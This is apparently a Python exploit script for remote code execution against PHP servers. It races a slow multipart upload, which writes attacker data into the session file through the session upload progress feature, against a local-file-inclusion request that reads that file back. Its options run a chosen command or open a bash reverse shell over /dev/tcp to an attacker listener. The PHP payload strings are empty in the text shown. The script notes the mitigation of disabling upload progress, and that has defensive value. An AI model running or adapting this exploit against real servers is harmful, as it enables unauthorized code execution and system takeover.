#!/usr/bin/env python3 """ Patch Bypass: RCE via session upload progress race condition on PHP 8.4.27+ The PHP security patch released 2026-10-21 (PHP 8.4.27, 8.3.36, 8.2.35, 8.5.12) fixes CVE-2026-109618 (OOM-based session persistence) by replacing longjmp() with a soft/hard OOM that ensures proper cleanup. However, the session upload progress race condition is NOT fixed by the patch. This is because the race window is inherent to the feature's design: 1. PHP_SESSION_UPLOAD_PROGRESS writes attacker-controlled data to the session file on disk during multipart parsing (MULTIPART_EVENT_START/UPDATE) 2. The session file contains: upload_progress_|a:5:{serialized_data} 3. The data persists on disk for the duration of the file upload 4. Cleanup only runs at MULTIPART_EVENT_END when parsing completes 5. A concurrent request can include the session file via LFI during this window The patch fixes the OOM path (where cleanup was skipped entirely) but does not close this inherent TOCTOU race. The advisory acknowledges this by recommending session.upload_progress.enabled=0 even after patching. Requirements: - PHP-FPM (or mod_php) with session.upload_progress.enabled=1 (DEFAULT) - An LFI vector in the target application - Known or guessable session.save_path - Multiple FPM workers (pm.max_children > 1) Tested: PHP 8.4.27 (patched), PHP 8.4.24 (unpatched), PHP 8.3.0 Usage: python3 race_bypass_patched.py -t http://target/app.php --cmd 'id' python3 race_bypass_patched.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444 """ import argparse import base64 import os import re import socket import sys import threading import time from urllib.parse import urlparse SESSION_PATHS = [ "/tmp", "/tmp/php-sessions", "/var/lib/php/sessions", "/var/lib/php5/sessions", ] def tcp_connect(host, port, tls, timeout=60): sock = socket.create_connection((host, port), timeout=timeout) if tls: import ssl ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE sock = ctx.wrap_socket(sock, server_hostname=host) return sock def recv_all(sock, timeout=5): resp = b"" sock.settimeout(timeout) try: while True: d = sock.recv(8192) if not d: break resp += d except socket.timeout: pass return resp def body_of(resp): if b"\r\n\r\n" in resp: return resp.split(b"\r\n\r\n", 1)[1] return resp def slow_upload(host, port, tls, path, sid, php_code, duration=10.0): """Send slow multipart upload to keep session file populated on disk.""" bnd = b"----RACEBYPASS" + os.urandom(4).hex().encode() head = ( b"--" + bnd + b"\r\n" b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n' b"\r\n" + php_code + b"\r\n" b"--" + bnd + b"\r\n" b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n' b"Content-Type: application/octet-stream\r\n\r\n" ) file_size = 4 * 1024 * 1024 tail = b"\r\n--" + bnd + b"--\r\n" total = len(head) + file_size + len(tail) sock = tcp_connect(host, port, tls, timeout=int(duration) + 10) sock.sendall( b"POST " + path.encode() + b" HTTP/1.1\r\n" b"Host: " + host.encode() + b"\r\n" b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n" b"Content-Length: " + str(total).encode() + b"\r\n" b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n" b"Connection: close\r\n\r\n" + head ) sent = 0 t0 = time.time() try: while sent < file_size and (time.time() - t0) < duration: sock.sendall(b"\x00" * 4096) sent += 4096 time.sleep(0.04) sock.sendall(tail) except: pass try: recv_all(sock, timeout=2) except: pass sock.close() def lfi_probe(host, port, tls, lfi_path, sid): """Send LFI request and return response body.""" sock = tcp_connect(host, port, tls, timeout=10) sock.sendall( b"GET " + lfi_path.encode() + b" HTTP/1.1\r\n" b"Host: " + host.encode() + b"\r\n" b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n" b"Connection: close\r\n\r\n" ) resp = recv_all(sock, timeout=5) sock.close() return resp def run(args): p = urlparse(args.target) tls = p.scheme == "https" host = p.hostname or "127.0.0.1" port = p.port or (443 if tls else 80) path = p.path or "/" spaths = list(SESSION_PATHS) if args.session_path: spaths = [args.session_path] + [s for s in spaths if s != args.session_path] if args.trigger_only: php_code = b'' elif args.cmd: cmd_b64 = base64.b64encode(args.cmd.encode()).decode() php_code = f''.encode() elif args.lhost and args.lport: shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'" cmd_b64 = base64.b64encode(shell.encode()).decode() php_code = f''.encode() else: print("[!] Specify --cmd, --lhost/--lport, or --trigger-only") sys.exit(1) print("=" * 65) print(" PATCH BYPASS: Race Condition RCE on PHP 8.4.27+ (patched)") print(" Session upload progress race — NOT fixed by the 2026-10-21 patch") print("=" * 65) print(f" Target : {args.target}") print(f" LFI param : {args.lfi_param}") if args.cmd: print(f" Command : {args.cmd}") elif args.lhost: print(f" Reverse sh : {args.lhost}:{args.lport}") print() for attempt in range(args.attempts): sid = os.urandom(16).hex() print(f"[*] Attempt {attempt+1}/{args.attempts} — SID: {sid}") t = threading.Thread( target=slow_upload, args=(host, port, tls, path, sid, php_code, 10.0), daemon=True, ) t.start() time.sleep(0.3) hit = False for i in range(400): if not t.is_alive(): break for sp in spaths: sess_file = f"{sp}/sess_{sid}" lfi_path = f"{path}?{args.lfi_param}={sess_file}" try: resp = lfi_probe(host, port, tls, lfi_path, sid) rbody = body_of(resp) if b"CVE2026:" in rbody: if args.trigger_only: m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", rbody.decode(errors="replace")) print(f"\n[+] Code execution confirmed!") if m: print(f" {m.group(1)}") elif args.cmd: m = re.search(r"CVE2026:(.*?):END", rbody.decode(errors="replace"), re.DOTALL) result = m.group(1).strip() if m else rbody.decode(errors="replace")[:500] print() print("[+] ═══════════════ RCE OUTPUT ═══════════════") print(result) print("[+] ══════════════════════════════════════════") else: print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}") print() print("[+] RCE achieved against PATCHED PHP!") print("[+] The 2026-10-21 security patch does NOT fix this.") print("[+] Mitigation: session.upload_progress.enabled=0") hit = True break except: pass if hit: break time.sleep(0.005) t.join(timeout=2) if hit: return print(f" Race lost") print("\n[!] All attempts failed. Try --attempts 20 or --session-path") def main(): ap = argparse.ArgumentParser( description="Patch Bypass: RCE via session race on PHP 8.4.27+ (patched)", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" This exploit demonstrates that the PHP security patch (2026-10-21) does NOT fix the session upload progress race condition. The only effective mitigation is: session.upload_progress.enabled=0 Examples: %(prog)s -t http://target/app.php --cmd 'id' %(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444 %(prog)s -t http://target/app.php --trigger-only --session-path /var/lib/php/sessions """) ap.add_argument("-t", "--target", required=True, help="Target URL with LFI") ap.add_argument("--cmd", help="Command to execute") ap.add_argument("--lhost", help="Reverse shell listener IP") ap.add_argument("--lport", type=int, help="Reverse shell listener port") ap.add_argument("--trigger-only", action="store_true", help="Confirm vulnerability only") ap.add_argument("--lfi-param", default="page", help="LFI query parameter (default: page)") ap.add_argument("--session-path", help="session.save_path on target") ap.add_argument("--attempts", type=int, default=10, help="Race attempts (default: 10)") args = ap.parse_args() run(args) if __name__ == "__main__": main()